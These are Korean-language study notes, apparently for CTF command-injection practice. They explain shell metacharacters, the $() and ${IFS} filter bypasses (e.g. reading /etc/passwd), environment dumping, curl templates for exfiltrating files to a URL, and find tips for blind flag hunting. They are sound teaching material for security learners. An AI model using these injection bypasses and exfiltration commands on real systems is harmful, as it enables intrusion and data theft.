셸이란

명령어를 받아 해석·실행하는 프로그램. 사용자와 커널 사이 인터페이스.

핵심 성질 = 특수문자(메타문자) 해석. 입력을 곧이곧대로 실행하지 않고 ; | $() 를 먼저 문법으로 해석함. → 명령 주입이 성립하는 근거. 사용자 입력이 셸 문자열에 섞이면 입력 속 메타문자가 명령으로 해석됨.

명령 이어붙이기

1
2
3
4
5
6
;         앞 성공/실패 무관하게 다음 실행
&&        앞이 성공(exit 0)해야 다음 실행
||        앞이 실패해야 다음 실행
|         앞 명령의 stdout을 다음 명령의 stdin으로
`cmd`     명령 결과로 치환 (백틱)
$(cmd)    명령 결과로 치환, 중첩 가능 → 백틱보다 이걸 사용

$(cmd)가 핵심: 구분자(;) 없이 기존 명령 문자열 안에 코드 삽입 가능. ;가 막힌 주입 지점(쿠키 등)에서 이어붙이기 대체재.

리다이렉션

1
2
3
4
5
>            stdout을 파일에 저장 (덮어쓰기)
>>           파일 끝에 이어붙이기
<            파일을 stdin으로
2>&1         stderr를 stdout이 가는 곳으로 합침
2>/dev/null  stderr를 버림 (에러 노이즈 제거)

stdout / stderr

1
2
1 = stdout (정상 출력)
2 = stderr (에러 출력)

기본은 둘이 따로 흐름. find처럼 권한 없는 경로를 훑는 명령은 stderr 대량 발생:

  • 결과+에러 한 곳에 모으기 → 2>&1
  • 에러 버리고 결과만 보기 → 2>/dev/null (실전에서 더 자주 씀)

공백 우회: ${IFS}

IFS = Internal Field Separator. 셸이 단어를 끊는 기준 변수, 기본값 = 공백·탭·개행.

1
cat${IFS}/etc/passwd   →   cat /etc/passwd

공백을 직접 못 넣는 주입 지점(쿠키, 일부 URL 파라미터)에서 공백 대용. $()(구분자 우회) + ${IFS}(공백 우회) = 필터 우회 기본 한 쌍.

자주 쓰는 명령

1
2
3
4
5
6
cat FILE          내용 출력
ls -la            숨김파일·권한 포함 목록
find PATH -name X 이름으로 검색 (범위 좁힐 것 ↓)
env / printenv    환경변수 덤프 (flag가 env에 있는 경우)
cp A B            복사
pwd / id          현재 경로 / 실행 권한

exfiltration:

1
2
3
curl -d @FILE URL                    파일을 본문에 실어 전송 (날것)
curl --data-urlencode NAME@FILE URL  파일을 URL 인코딩해 NAME 필드로 전송 (안전)
curl ... @- URL                      @- 는 stdin을 읽음 (파이프와 조합)

--data-urlencode 권장: 대상 파일에 {}·공백·개행 있어도 안 깨짐. -d @는 날것이라 특수문자에서 깨질 위험.

find는 범위를 좁힐 것

find / 통째로는 /proc·/sys(가상 파일 수천 개)까지 훑어 매우 느림. blind에서 결과를 파이프로 넘기면 소비자(curl)가 find 종료까지 대기 → 결과 안 옴 / 타임아웃.

1
2
find /app /home /tmp -name 'flag*' 2>/dev/null   유력 디렉토리만
find / -maxdepth 3 -name 'flag*' 2>/dev/null      깊이 제한